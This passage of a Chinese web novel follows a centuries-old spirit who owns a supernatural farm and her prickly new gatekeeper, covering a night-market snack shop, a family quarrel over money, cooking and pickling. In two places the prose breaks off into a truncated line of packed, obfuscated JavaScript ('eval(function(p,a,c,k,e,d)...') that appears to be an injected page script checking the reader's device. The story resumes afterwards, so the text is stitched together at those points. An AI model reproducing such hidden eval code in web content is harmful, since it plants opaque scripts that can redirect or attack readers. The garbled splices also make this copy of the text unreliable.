三个戾气缠身的亡魂因为生前作恶多端,没积下任何阴德,也没有亲友的送语,要送走需要花费不少心思,他们自己也知道,所以这几天一直在叫嚣,还威胁黑白无常让他们离开,恐吓、求饶都试遍了也没用,现在他们在摆渡车里破口大骂。 “走着瞧!就算变成厉鬼我们也不会放过你们,你们等着!” 被吵得头痛,范无咎给他们各贴了一张封口令,又对陆首秋说:“这次情况特殊,就别等到子时了,现在就开始。” 陆首秋坐在屋梁上,匀称漂亮的双腿晃来晃去,“随你们啊,我无所谓。” 她教训了一下那三个亡魂,不听话,打脑袋,咚咚咚! 嗷嗷嗷!三个亡魂捂住头,泪流满面,他们没想到这个看上去柔柔弱弱的女孩比黑白无常还残暴,被打的好痛啊,救命!还有没有人来管管! 谢必安扶额,无奈道:“好了秋秋,差不多就行了,打的太严重我们回去也不好交差。” 陆首秋哼一声,收手,道:“十殿阎罗还敢管我不成。” 谢必安:“……” 放眼三界,谁敢管您老啊。 以往都只在后半夜才会响起的鼓乐和歌声,今晚没到八点就有了。 曾有生人研究过,说从鼓楼顶层传出的鼓乐是古老的祭祀仪式,悠悠扬扬的山歌也是少数民族古语的一种,已经失传了,农场里居然有人会唱。 阮鲸落也听到了,她站在门口望向鼓楼,陆首秋不在的这几天她梦里再没有听到过这个歌声,原来不是梦?是陆首秋每天晚上在顶层歌唱,那些像梦境的画面,也是真的?圆月下跳舞的女孩就是陆首秋? 住进来这么多天,就算再不精明她也知道陆首秋并不如外表看上去那么简单,还有这座农场,处处透着古怪,寨子为什么只在晚上亮灯,白天却安静的没有人烟,牧民和村民也从不去左边的寨子,处在农场中间的鼓楼就像两边的分界点,两条路就是分界线,让两边井水不犯河水。 她将打盹的狸花抱起来,捏了捏狸花肚子上的肥肚腩,自语:“你主人到底是干嘛的啊……” 能在云黔开得起这么大一座农场,家庭背景肯定不一般吧。 狸花在她怀里伸了个懒腰,“喵~” 干的都是白事活儿,用你们生人的话来说就是不吉利,晦气。 银色的小轿车从洒满月光的路上呼啸而过,绝尘而去。 阮鲸落伸长脖子,嘀咕:“开这么快,也不怕撞到人,”完了又奇怪,“大门在这边,往路尽头开干嘛,有病。” 她之前沿左边的土路走过,尽头是一片彼岸花海,很美,也很妖异。 干完活的陆首秋看时间还早,就溜达来这边找阮鲸落去吃夜宵。 一天到晚就想着吃,阮鲸落一屁股坐回椅子,“你表哥他们走了?” “嗯呐。” “那为什么不走大门,他们要开车撞进花海里啊。” “呃……”糟糕,她还没有注意到这个细节,只能瞎编道,“那边有条近道,就在花海后面,你没发现?” 有吗?阮鲸落狐疑。 “哎呀,走都走了,你管他们干嘛,”陆首秋上来拽她,“走,咱们去寨子那边喝罐罐烤奶。” 阮鲸落挣扎,“我不去,要去你自己去。” “就要你陪就要你陪,我是雇主,我说了算,快走。”她根本不给阮鲸落逃的机会,又拽又拖,硬是把满脸不情愿的阮鲸落拖去鬼寨。 9. 第 9 章 寨子的生意一如既往的好,不少摊位还写着‘网红XX’等字眼,前来打卡拍照的生人络绎不绝。 人多本来是好事,有时却也影响生意,只想单纯来吃个东西的生人见到那么老长的队就没有耐心排了,换去别家,也有看不上网红文化的认为吹嘘过头,排队的肯定都是托儿,不是常来的食客确实很难分辨到底哪家更好吃。 陆首秋倒没有这样的烦恼,她是老饕餮了,拉着阮鲸落左拐右拐来到一处十分僻静简陋的吊脚楼,门口没有任何招牌,看着也不像是开门做生意的,进去之后却能闻到十分浓郁的奶香和花香。 她一边往里走一边跟阮鲸落介绍:“这的老板叫阿玫姨,擅长做糕点,她家的罐罐烤奶也是整个寨子最好喝的,但阿玫姨不喜欢宣传,所以知道的人少。” 阮鲸落自己来过寨子,不过只到主街的半途,在边上的摊位随便买了份拌洋芋就回去了,今天要不是陆首秋带着来,她都不知道这里面还藏着这么个地方,那股飘出来的香味勾得她无心打量四周环境,只略看几眼,跟别的吊脚楼也没什么区别。 吊脚楼二层有个小厅,一服饰色彩艳丽、乌黑长发挽成高鬓、头戴银饰的少妇正侧身在小排的高灶台上煮东西,也就是陆首秋一路念叨的罐罐烤奶,用带手柄的圆肚小陶罐锅将干玫瑰、桂圆、红糖、红枣、枸杞先加少许水煮开,再倒入从牧民那买来的鲜牛奶,做法很简单,之所以比其他小店的香甜,是这位风韵犹存的阿玫姨每天不嫌麻烦的去地府的幽冥泉打水,泉眼深在幽冥之处,故有此名,泉水清澈甘甜,比银河水还好数倍。 不仅如此,用的干玫瑰等物也颇为讲究,也因为用料有限,所以每天的量都有限,只有熟门熟路的老客才有缘喝上,不过糕点倒不限量,柜台上的小格子摆着许多,像常见的云腿月饼、鲜花饼、破酥包这都有,看样式也是手工现做,新鲜出炉,还热乎着。 不多见的也有,如鸡纵火腿酥、玫瑰荞酥、梅干酥、奶油回饼、羊奶乳饼、烤乳扇,花样还是很多的,罐罐烤奶仅为小店的一个特色,清香的普洱茶才是镇店之宝,只是陆首秋自认是大俗鬼,品不来香茗,才没跟阮鲸落提。 厅内还有其他客人,陆首秋靠脸捡了个靠窗的位置,这是阿玫姨日常独坐的小桌,不怎么喜欢客人去坐,李首秋是例外,见到她来,阿玫姨很高兴,笑盈盈的先给她送上刚煮好的罐罐奶,红枣和玫瑰的香味最浓烈。 阮鲸落虽是生人面孔,但新来了一个守门人的消息阿玫姨还是知道的,见她们两个同进同出关系很好的样子,笑道:“看来秋秋很喜欢新员工啊,从前都不见你带其他人来我这里玩,这是头一个,”视线转过去问阮鲸落,“小姑娘叫什么名字?” 阮鲸落说了自己的名字,但对阿玫姨说的陆首秋不带其他人来这抱怀疑态度,以她对陆首秋的了解,这人是在路边见到一条狗都能聊半小时的自来熟的社牛性格,农场里的每个人都跟她相熟,怎么可能没带过其他人来。 她把心里的想法嘀咕了出来,阿玫姨听到后稍愣了下,紧接着哈哈大笑道:“哎呦秋秋,你新找来的小姑娘是个醋坛子哟,介意你的前缘呐。” “谁醋了!”阮鲸落跳起来反驳,脸爆红。 陆首秋赶紧护住桌上的奶茶,冲她嘻嘻笑道:“阿玫姨说的没错啊,我就带过你一个人来这,坐下坐下……这么激动干嘛,桌子都差点被你撞倒。” 阮鲸落握拳,凶狠警告:“你少胡说八道吧,真是受不了。” 阿玫姨转身去端了两盘糕点给她们,陆首秋拿了个泡松柔软的小回饼,掰开分一半给阮鲸落。 她动作自然,阮鲸落也没有想太多,低头咬一口。 经过发酵泡发的面饼不仅色如白雪,口感蓬松绵密,味也是甜中带咸,不突兀,还挺好吃的。 吃完手上的半个,阮鲸落自己又拿了一个,配上散发着玫瑰香的罐罐奶茶,让她原本因为老家那边的电话而焦躁愤懑的心情好转不少。 “吃甜会让人心情变好。”陆首秋突然来了这么一句。 阮鲸落喝奶茶的动作一顿,垂下眼帘,模糊嗯了一声,确实。 陆首秋看着她笑,问道:“怎么样,我这还挺好的吧,不想走了吧?” “也还行吧。”阮鲸落不情不愿嘟嚷。 她以为自己待不过三天就会跑路,现在竟然有点不愿意离开,但她是不会让陆首秋看出来的。 陆首秋都懒得拆穿她,“什么叫还行吧,你要求简直不要太高,到底是你给我打工还是我给你干活啊。” “你一分钱不给,还想听什么好话,周扒皮。” 陆首秋斜睨她,“听说你在大门口卖生鲜赚了不少钱啊。” 阮鲸落赶紧捂住钱包,一副你敢动我钱我就跟你拼命的架势,“你想干嘛,那些东西你已经送给我了,怎么处理由我决定,赚了钱也是我的,你别眼热想分,告诉你,门都没有!” 见过爱钱的,没见过这么爱的,陆首秋都无语,学她的样子翻白眼,“你赶紧收好,千万别丢了,”语气非常鄙夷,“真是服了,不知道的还以为你兜里有几个亿,生怕别人抢。” 包里的现金不多,是几个不会用线上支付的阿奶给的,就几百块,阮鲸落也宝贝的收好,这些都是她能活命的保障,像陆首秋这种坐拥千万顷农场的富婆是不会懂的,说了也是对牛弹琴。 阮鲸落继续吃东西,不理她。 陆首秋向阿玫姨又要了一份茉莉花味的奶茶,两人在窗下自成一片小天地在斗嘴,不仅阿玫姨这个几百岁的老鬼看着有趣,其他客人见状也忍不住露出笑容,说她俩是一对欢喜冤家。 走时阿玫姨打包了好些糕点给她们,还说:“明晚再来,我给你们做娘惹糕。” 其他客人听见了都起哄,“我们也想吃,老板娘可不能厚此薄彼啊。” “去,哪都有你们。”阿玫姨娇笑一挥手,腕上的银饰碰撞在一起发出清脆的响声,衬得她越发娇俏有风韵。 其实有不少生人都是抱着其他目的来这吃东西,曾经有个大老板想包养阿玫姨,被拒后仍不死心,金银珠宝跟不要钱的往小店送,阿玫姨看都不看,统统原路退回去。 农场有不少八卦,这只是其中一个,回去的路上被陆首秋当故事讲给阮鲸落听,“阿玫姨一直没有嫁人,都成老姑娘了,自己经营这家小店很多年。” 阮鲸落不是爱八卦的人,“刚吃了人家那么多东西,人家都没收你钱,你怎么转过头就讲别人的私事啊,还说人家老姑娘,你才几岁,这么不尊重人,人品差得可以啊你。” 她这张嘴不知道得罪过多少人,以前上班的时候领导和同事没少因为这个给她穿小鞋,说她孤僻、高冷、不合群,她就不明白了,不就是打个破工,要合群干什么,谁要跟那帮垃圾合群。 影影绰绰的灯光下,陆首秋的白眼翻了一个又一个,论辈分,阿玫姨都得喊她老祖宗,不过现在这话不能对阮鲸落说。 她打了个哈欠,懒洋洋道:“对对对……我人品差,没道德。” 看她吃饱就犯困,阮鲸落又想起自己这几天水深火热的生活,气不打一处来,冷笑:“呵……出去玩累死你了吧,骗我说去深山老林,明明就是去吃香喝辣,豪华游艇舒服吗?怎么不掉海里淹死你啊。” 陆首秋脚下急刹车,一个转身回来挡在面前,她比阮鲸落矮半个头,仰头睁圆眼子打量对方,很认真问道:“我上辈子是不是跟你有仇?” 阮鲸落对她老大意见,要不是上辈子有仇,怎么都说不过去,可她都不怎么记得上一辈子的事情了,这也不奇怪,不记得很正常,她都不记得自己多少岁,总之是很老很老了,盘古还没有劈开天地的时候她就在了。 后来地府被开创,她闲着没事也去投胎,只是孟婆熬的那锅汤对她不管用,投了胎也还是记得从前的事,就是换了个壳而已,觉得好没趣味,上一世结束后她就没有再投胎过。 陆首秋这个名字就是上一世的爹妈给的,她是农历七月出生,古语有云:七月孟秋,亦曰初秋、首秋。 所以取名首秋。 她现在的身份也确实是恶鬼,死了那么多年都不去地府报道,十殿阎罗只能给她贴这样一个标签。 她的脸被骤然放大,脸上的小绒毛都清晰可见。 从来没跟人如此近距离的阮鲸落有点不自在,后退一步,嫌弃道:“拉倒吧,我才不愿意两辈子都跟你这个神经病有瓜葛,起开点,别离我这么近。” 陆首秋得寸进尺,阮鲸落越不让她靠近她越要往前凑,嘴都快贴上去了,“干嘛干嘛干嘛,嫌弃我啊,我长得不好看?” “嗯,不好看,丑死了。”阮鲸落推开她。 路上往来的生人很多,有几个大学生模样的年轻男女从前头嘻嘻哈哈跑过来,陆首秋背对他们,在快要撞上的时候脚步往右边一滑,眨眼就带着阮鲸落避开,让那群人从她们身边过去,她似若没有察觉,依旧保持着先前的姿势跟阮鲸落说话。 阮鲸落伸出去想要扶她的手停在半空,眼底的情绪瞬息万变,她确定自己没有看错。 “我丑?哈?给你一次机会重新说,”陆首秋对颜值问题耿耿于怀,反指自己,“我这一张貌美如花的脸,被你说丑,你眼睛有问题就去后村的小医馆看看好吧,报我名可以插队,还能免诊费,笑死了,说我丑,你才丑,天下第一丑。” 阮鲸落收回手,当作无事发生,陆首秋是武林高手都跟她没关系,有句话怎么说来着,知道的越多死的越快。 “行行行……我丑行了吧?你就不能好好走路?摔死了可不关我事。” “别诅咒我。”陆首秋晃着自己的长辫子在前面一蹦一跳的,非常活泼。 光照在她的银饰上,亮得晃眼睛,裙摆繁杂的苗绣图腾栩栩如生,配上那叮叮当当的响声,好像古老的吟唱,跟阮鲸落误以为是梦境的画面重合,让她不由恍惚。 “陆首秋。”她轻喊了声。 “啊?”阮鲸落从来没有用这种语气叫过自己,陆首秋答应后就一脸警惕,双手捂在胸前做防卫状,“干嘛?我卖艺不卖身,你要是敢乱来我就喊人了啊。” 瞬间,什么氛围都没有了,阮鲸落黑脸,“迟早会被你气死。” 她以后要是再对陆首秋正经,就不是人。 阮鲸落脚步飞快走到了前面,陆首秋追上来,喋喋不休,“慢点啊,走这么快干嘛,腿长了不起哦,阿落你等等我,哎哟……我走不动了,要摔倒了,脚断了。” 都这样了阮鲸落都没停下,陆首秋撇嘴,演技夸张的演起来,先是蹲在地上捂住脚脖子喊疼,假模假样挤两滴眼泪,不少路过的生人都停下来看热闹,这么一个漂亮的姑娘哭成这样,怪可怜的咧。 在她开始喊的时候阮鲸落就刻意放慢脚步了,是她一直磨磨蹭蹭跟不上,瞎话还那么多,现在还装上可怜了。 阮鲸落站定,垂在身侧的双手握成拳,默念一千遍‘不气不气菩萨住在我心里’,然后气呼呼转身回去将陆首秋拎起来。 “你演够没有?要不要再给你颁一个奥斯卡影后奖?”她第一千零八遍问自己到底造了什么孽,才会碰上陆首秋这么个活宝。 陆首秋演戏演全套,假哭也能把鼻头哭红,看上去更可怜兮兮,还能一边打哭嗝一边拉同情票,“你干嘛对我这么凶,我跟你不是天下第一好了?你在外面有别的小妖精了,不要我了?对我这么不耐烦呜呜呜……” 阮鲸落无视路人投过来的谴责眼神,抱臂冷笑,“演,接着演。” 本来就是觉得生活很无聊,以前的守门人又不敢配合自己演出,好不容易来了个对胃口的,陆首秋才戏瘾大发,即兴来这么一出,过完隐就哈哈疯笑,拽着都快爆炸的阮鲸落冲出人群。 “哈哈哈哈哈……哎呀,别生气嘛,我知道错了,绝对没有下次。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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视频也因为这些评论上了热门,那天在农场门口买了生鲜的圆脸姐姐也在评论区发图说道:“看样子跟我的好像是同一批货,不过我不是在集市里面买的,是大门口有个顶好看的姑娘摆摊,开价倒不贵,我还打趣她是在做慈善。” 底下有人回复圆脸姐姐:“巧了,那天我也在,最后十来只大螃蟹被我抢到,说来也怪,云黔属于内陆地区,农场又在东南,靠江不靠海,但集市常有新鲜的海货卖,品相还很好,就算是沿海地区的大市场都未必有那样的货,不知道评论区有人买到过龙趸肉没有,那才是一绝,还有金蛙,听说是农场的村民自己养的,量不多,仅少数人抢到过,比普通牛蛙好吃百倍,寨子的夜市就有卖现成的干锅蛙,也是排老长的队,每天还限量,评论区有人知道的吧?” 头次听说农场的普通网友:“富婆你在讲神马东西啊,一会农场一会集市,现在又来个夜市,你们说的云黔农场到底是个什么啊。” 圆脸姐姐:“这位网友,打开百度,上面有很多云黔农场的信息,慢慢了解噢~” 弟弟阮云飞看完网友的评论,尤其上面这几条,他点开图片仔细对比,才嗷嗷叫着跑到厨房拦下薛彩云,“妈你先别弄,快打电话给阮鲸落问她这些东西是不是从网友说的那个云黔农场搞来的,要真的是,咱们就发财了!” 阮云飞也就比阮鲸落小一岁,学习一般,但家里还是砸锅卖铁送他到国外上大学,现在放假了他回国住几天,下个星期还要跟女朋友去欧洲旅游,开口就问薛彩云要十万,理由是他女朋友是富家女,跟他谈恋爱就不能委屈了人家,出去旅个游不能连这点钱都拿不出来,会让他女朋友看不起的,他女朋友一个包都不止十万了。 薛彩云就是个普通的北方农村妇女,嫁人之后就一直在家带孩子、伺候老公、侍奉公婆,还要下地干活,平时连件像样的衣服都舍不得买,哪里拿得出十万给阮云飞出去旅游。 她公婆倒是想给,可他们也没有,阮云飞从小到大花钱就大手大脚的,老两口那点棺材本都经不住他折腾,现在一两万拿得出来,十万?把他们砸碎卖了都凑不齐。 “她是你姐,跟你说过多少次了,不能连名带姓的叫,你就是不听。”薛彩云说他。 日夜为这个家操劳,薛彩云面相看着老,其实都没到五十,两鬓全是白头发,头顶脱发也厉害,低头都能看见中间那块光秃秃的,女儿寄回来的东西她没敢大动,只是拆开了放冰箱,等孩子他爸回来了再看要怎么处理。 前天大丫头打电话跟她说寄了点东西回来,让她留着吃。 她以为是像以前那种熏肉腊肠什么的土特产,哪知道是品相这么好的海货。 只要是好东西,她都留不住,熏肉腊肠都被孩子他爸拿去送亲戚,更别说现在这些了,她要是敢留下,肯定少不了一顿辱骂和拳打脚踢。 “她都没把这当家,也没把咱们当家人,我凭什么叫她姐,”阮飞云脸色不太好,又催促,“妈你先别说这个,快去给她打电话,问是不是真的,要真是我现在就转手卖给别人。” 他看底下有人出高价想买云黔农场的东西,说话的功夫他也上网去搜了,确实有这么个地方,图片看风景还很好,网友提到的那个集市所出售的所有东西都非常抢手,价格有高有低,做中间商还能赚更高的差价。 阮鲸落还说没钱,转眼就给妈寄这么多东西,要真是从那个农场集市弄来的,证明她有渠道,阮飞云想让她给自己搞点货,再高价卖给那些想要的人,多少能赚点旅游经费。 他也不想这样折腾,可谁让家里没钱,他怂恿老爸问阮鲸落要钱,阮鲸落一分不给,连每个月固定转给老妈的那一千块生活费都停了。 这个白眼狼,还指望他叫姐?门都没有,除非给他钱。 儿子是自己生的,薛彩云知道他打什么主意,可她除了唉声叹气,也不阻止,就一直这么惯着阮飞云。 “好好好,我打。” 大丫头倔得很,脾气也不小,跟家里边关系不好,尤其跟她爸,不见面在电话里都能吵个天翻地覆。 10. 第 10 章 上午太阳还不是很热烈的时候,陆首秋裹着头巾要出门溜达。 自从阿落来了之后,她白天出门的次数逐渐增多,只是依旧不喜欢阳光,她现在是恶鬼嘛,晒太阳会魂飞魄散。 当然,这是十殿阎罗说的,还说她既然想做恶鬼,那就做戏做全套,把鬼的习性都走一遍。 阮鲸落锁上鼓楼的大门,抬头看见两边的对联,脸又是一黑。 走在前面的陆首秋没见人跟上来,便停下等,“别看了,你要是不喜欢就换掉呗,每天都黑着个脸,跟谁欠你八百万一样。” 阮鲸落把钥匙揣回兜里,没好气道:“就是你欠我钱。” 又要提工资那点事,一天提不知道多少遍,陆首秋都习惯了,张开手闭上眼,死猪不怕开水烫的说道:“要钱没有,要命一条,来拿来拿……” 阮鲸落才不搭理她,这人就是个戏精。 陆首秋一秒恢复正常,发现她没有跟自己走一条道,疑惑问:“你干嘛,不跟我去摘臭菜啊。” 阮鲸落翻了个白眼,“姑奶奶,您老雇佣我来守大门的,我上班去啊。” 陆首秋好像刚反应过来,哦了一声,又欢快道:“那行吧,你工作,我摘臭菜,中午我们吃臭菜煎鸡蛋怎么样,昨天晚上花婆婆送了一篮绿壳鸡蛋。” “……随便你。”一天到晚就惦记着吃。 陆首秋才不管她现在是什么脸色,说完就自己蹦跶着去了另一边。 那边有丘陵,上面有仙民种的果树,野菜也是成片长的。 臭菜只是其中一种,也叫羽叶金合欢,是低矮的小灌木,带刺,顶端的嫩芽可以食用,气味刺鼻,吃不惯的人会觉得臭菜比折耳根还可怕。 神仙集市就有新鲜的臭菜卖,有擅长做腌菜的仙民也会提前将臭菜腌制起来,经过发酵的臭菜气味就没有那么浓烈了。 陆首秋没有带背篓,路上问猪大姐借了一个。 猪大姐家的黑毛猪就散养在丘陵山上,黑毛猪不像白皮猪那么膘肥体壮,它们长得粗旷,像野猪,也很会寻摸好东西,跟着它们能找到品相很好的松露、人参。 陆首秋挖了几棵就不要了,她不太喜欢人参的味道,带几棵回去赠给阿落就行。 “秋秋白天不睡觉啦?”猪大姐今天也在山上摘菜。 她跑过去看猪大姐的背篓,里面已经有臭菜、刺五加、香茅草,底下还放了两捧芭蕉花。 “不睡了,家里多了个好玩的人,再睡觉就浪费时间了。猪大姐你这香茅草从哪摘的啊,我也想要点。” 猪大姐给她指了个方向,还说:“我家今天杀猪,你回去的时候顺路去拿猪肉,还有新鲜的罗非鱼。” 香茅草烤肉、烤罗非鱼都好吃,陆首秋抱着背篓,两眼都冒光,“那多不好意思啊。” 鬼怪和仙民租赁她的地盘就会送东西来孝敬她,也叫上供,她收了东西就会降福给这些鬼怪仙民,所以收的毫无压力,这都是她应得的,可阿落看见她收供品就老讽刺她是周扒皮,无良地主,搞得她也生出点羞耻心,会装装样子适当拒绝。 猪大姐也听说最近两天首秋大人不像之前那样干脆收下供品,这怎么行,供品都不要,还怎么降福,“有什么不好意思的啊,不就是几斤猪肉几条鱼,大姐我连这点东西都拿不出?” “怎么会,你可是很富有的。” “就是嘛,听话啊秋秋,让你拿着就拿着。” “哎,好咧,”陆首秋开心的冲猪大姐比了个大大的心,“爱你哟~” 猪大姐哈哈大笑,暗想难怪深处那么多仙民想申请到外围生活,谁能拒绝像小甜豆一样的首秋大人呢,多想离得更近一些,沐浴福泽啊。 香茅草长得像普通茅草,却有柠檬的香味,陆首秋割了一大把放进背篓,又去剪了好多臭菜和刺五加嫩芽,吃不完还可以腌酸菜。 快到中午,她拎着猪大姐送的猪肉和鱼回鼓楼,远远就看到有个人坐在门口。 “阿落!”她跑过去,兴高采烈的展示背篓里的收获。 阮鲸落神情恹恹,收起手机。 薛彩云打来的电话让她心情很烦躁,扒拉了两下背篓的野菜,嫌弃道:“放着好饭好菜不吃,非要吃这种拿来喂猪的,你是不是闲的啊。” 就知道她会这么说,陆首秋选择性耳聋,听不见听不见…… 推开门进去,她兴致勃勃的问:“吃烤肉喽?” 阮鲸落耷拉着眼皮,“又说吃臭菜煎鸡蛋,你一顿要吃几个菜啊,屁事那么多,”心情不好说话都带刺,阮鲸落也知道自己这个臭毛病,想过改,想过忍,可就是管不住这张贱嘴,说完她沉默了几秒,从陆首秋手上拎过背篓,声音低下去,“除了烤肉还想吃什么?” 陆首秋歪头盯着她看,笑嘻嘻道:“香茅草烤罗非鱼。” “……知道了,等着吧。” 陆首秋跟她进厨房,“有什么要我帮忙的啊。” “用不上。”她可不想做个菜耳边都像有八百只鸭子在嘎嘎吵。 又是被嫌弃的一生,陆首秋为自己默哀。 “你到外面去,别在这碍手碍脚。”陆首秋的厨艺不算差,不想她待在这完全是因为这个坑货嗜折耳根如命,会趁她不注意就往锅里扔一大把。 “噢……”陆首秋退到门边,蹲下,眼巴巴看她的阿落洗菜做饭。 刚才被阮鲸落丢在堂屋桌上的手机亮了好几次,趴在屋梁打盹的狸花睁开眼,抻着肥胖的腰松了松筋骨,才轻盈一跃落到桌上,先盯着屏幕上的备注细看了看,才用肉垫划了接通键。 那边的薛彩云正为女儿不接自己视频生气,冷不丁接通,看到一张毛茸茸的猫脸,琉璃眼正好奇的盯着她看,吓得薛彩云啊一声,手机险些甩出去。 狸花姿势优雅的蹲在手机边,尾尖轻轻扫过屏幕,“喵?” 它听见阿落(首秋大人就是这么叫的)跟里面这个中年女人吵架,还哭了,这是不允许的!不管是鼓楼还是阿落,都是首秋大人的私人财产,它作为首秋大人的守护神兽,有义务保护‘财产’安全,绝对不能让外人欺负‘财产’。 薛彩云只听见猫叫,没看到女儿,“大丫头?你这孩子怎么回事啊,养猫干嘛,我可听人说在城里养猫很费钱的,你说说你,不给家里寄钱,倒拿钱养这些小畜生。对了,你弟弟问你的事怎么说的啊,你要是有渠道就帮帮你弟,他好不容易才谈的女朋友,不能因为钱的事黄了这门亲,大丫头?你有没有在听妈说话。” 狸花:这女人在说什么,听不懂,朕业务繁忙,没时间听了,跪安吧。 话都没有说完视频就突然挂断,薛彩云以为是信号不好,又给打回去,那边怎么都不接了,她就生气,连发几条语音,哭着说阮鲸落没有良心,白养她这么大。 “当妈的问你要几个钱都不愿意给,你也不想想是谁一把屎一把尿拉扯你长大的,你现在翅膀硬了,飞远了就不想要你妈了是不是,你忘了你之前怎么跟我保障的?说以后挣了钱就把我接出去,带我去旅游,过好日子,妈这些年就是指望着你能有出息才熬过来的啊,你爸那个杀千刀的,见不到钱对我也没好脸色,还有你爷爷奶奶,我这是什么命啊,生的女儿靠不住,就只有一个儿子傍身,我的命啊,怎么这么苦啊!” 用了好些年的破手机漏音严重,薛彩云声泪俱下的诉苦传出来,又被阮鲸落手忙脚乱摁掉。 她抬眼去看对面正拆分烤鱼的陆首秋,发现对方并没有露出任何异样的神情,眼里只有烤鱼,她顿时松了口气,家里的破事她一点都不想别人知道。 罗非鱼刮鳞掏干净内脏,抹上酱料,在肚子里面塞上香茅草,鱼身也用香茅缠绕,再放到炭火上慢慢烤,里外的鱼肉都浸透了香茅草的清香,掩盖了罗非鱼本身的土腥味,鱼肉嫩而不腥,拨下一大块沾上辣椒蘸水,裹足折耳根,好吃到陆首秋手舞足蹈。 烤肉也是将新鲜的猪肉切成厚片,抹上酱料,再用香茅草缠住,肥肉里面的肉被炭火逼出来,烤得焦香焦香的很好入口,一点都不腻,陆首秋自己就能干掉一大半,再用臭菜煎鸡蛋拌在米饭里,那是吃的一点都不剩。 放下碗筷,她满足的摸摸吃饱的肚子,笑容灿烂,“晚上还照旧吧?” 她发现让阿落当厨子比守大门要好。 想起那几棵人参,她又跑进去翻背篓,把胡萝卜那么粗的野人参当杂草似的塞给傻眼的阮鲸落,“我从山上挖的,送你。” 都说来给她守大门福利很好的咯。 阮鲸落捧着人参倒吸一口冷气,瞪大眼睛说不出话,她终究是低估了陆首秋的财大气粗。 “你……”阮鲸落找回自己的声音,但还是不知道说什么好。 陆首秋双手撑腮,“嗯?” “确定送给我?”阮鲸落举起人参,还是觉得自己在做梦,很不真实。 “对啊。” “为什么?” 陆首秋瞬间鄙夷,“都说让你看清楚雇佣合同上面的条例再签字咯,你自己不看,现在懵逼了来问我,这是员工福利啊。” 阮鲸落嘴角抽搐,呵呵两声,没多少真心的说道:“那就谢谢老板了。” 既然确定是送自己的,那就收,像她这种见钱眼开的穷光蛋可不会有任何心理负担。 “不客气不客气,多给我做好吃的福利会更好。” 陆首秋也高兴,以前她给生人送福利,那些人开始都不敢收,很惶恐,要不就是收了以后对她的态度变得很谄媚,不是像阿落这样敷衍的谢,是来自内心的贪欲,会讨好她,想从她这里获得更多好处。 下午阮鲸落去守大门,陆首秋自己在鼓楼腌酸菜。 厨房后面的小仓库有很多酸菜坛子,洗干净了再用火烤一烤杀菌。 要做好几种腌菜,今天摘回来没吃完的臭菜放在太阳底下晒焉,放食盐、辣椒粉、八角、茴香籽粉、少许红糖拌匀揉搓,入味了再加白酒、熬到浓稠的糯米粥二次揉搓,臭菜不像其他菜梗那么难搓软,力气不需要太大,揉几下就能装坛密封起来,放到阴凉的地方发酵一两个月。 另外要做的还有水腌菜和玫瑰大头菜,前者好做,后者工序就麻烦点,挖回来的大头菜洗干净削皮,用刀子划成小块,用盐腌三到四次,待完全杀出水分才能调味泡酱,其中关键的就是玫瑰花糖,这是她问阿玫姨要的,小店的食用玫瑰多,阿玫姨还另外送了一筐秋月梨。 腌泡好的大头菜表面是深酱色,切开里面是玫瑰的深红,口感咸中有甜,很脆嫩,有浓郁的玫瑰香气,凉拌、炒菜都行,之前腌的已经吃完了,再不做新的过年就没有酱菜吃咧,还有酱辣子和韭菜花酱也得做。 做酱辣子要先把鲜辣椒泡盐腌制两天再拿出晾晒,然后拌上冬蜂蜜再腌制三四天。 今天只先泡盐,她想把去年收的冬蜂蜜找出来,可怎么也找不到了,连存放蜂蜜的罐子都跑没影,只留一个印子在那。 陆首秋叉腰站在那眯起眼,她老得记不清自己多少岁,但还没有老年痴呆,冬蜜她确实是放在这里的,中间只取过几次,她那么大一罐蜂蜜去哪了? 狸花不嗜甜,偷肉都不会偷吃蜂蜜,就算偷也不会笨到连罐子都搬走,猫头鹰更不可能,这货也是专盯肉的,到底是谁偷了她的冬蜜! “狸花,鹧鸪,”她叫了家里这两只常驻民到跟前,指指空出来那一小块地方,“我的蜜上哪去了。” 鹧鸪就是猫头鹰,它白天就是睡觉,被叫起来还是懵懵的不在状态。 “咕咕~”它可什么都不知道。 狸花甩甩尾巴,迈着优雅的猫步朝角落走去,还示意陆首秋跟上。 鼓楼没有设结界,从农场深处跑出来的小兽也会点隐身技能,陆首秋要是不刻意搜寻也很难发现它们,自以为藏得很隐蔽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小熊猫在人间是濒危物种,地位高,又因为长得萌,颇受生人喜欢,这样的到了农场自然也有优待,供它们生存的领地都圈在仙山位置最好那一块,狸花嫉妒得要死,自己的族群每天兢兢业业抓老鼠,守护家园,维护治安,到头来待遇还不如这一帮什么都没干的,它们凭什么就濒危了啊,长得可爱就横着走啊,我们狸花一族也很帅气威猛! 陆首秋嫌狸花吵,回头瞪它,“你挺高兴哈,家里进贼都不知道,要你何用,天天就知道跑出去玩,那么喜欢去深处,以后就待在深处专职抓蛮蛮好了。” 狸花瞬间惊恐,嗷—— 玩归玩,闹归闹,它才不要一直生活在深处,可听说了首秋大人这次将深处泛滥的蛮蛮都匀去未开发区域拓荒了,它要是被罚去深处肯定也是挑大粪的命。 “喵~~”神明在上,没有哪只想挑大粪的。 别看狸花是村头一霸,爪子贱的看见路边睡觉的狗都会上去刨几下,但在陆首秋面前它很能屈能伸,向来没节操,四腿倒地啪唧一下就跪了,相当识趣,乍一看像个绝对的老实头子。 陆首秋都懒得评价它金鸡百花影后般夸张的演技,狸花要是听话老实,她倒立洗头。 想想曾经心血来潮只给狸花吃猫粮,代价就是连续几天她被窝都是猫尿那股难以言喻的潮湿,织女姐姐专门为她织就的那床花纹精美的四件套就这么给毁了——怎么洗都有股猫尿味,熏得她头晕眼花。 这光荣事迹足让逃到深处躲起来的狸花跟其他生灵吹嘘几百万年,三界之内除了它还有谁敢在首秋大人的床上尿尿?没有! 小熊猫吱吱乱叫扭动胖乎乎毛茸茸的身躯想挣脱,结果都徒劳,落到陆首秋手上还能跑掉的生灵目前还没有,只得乖乖当个吉祥物缩在角落,等着被送回深处。 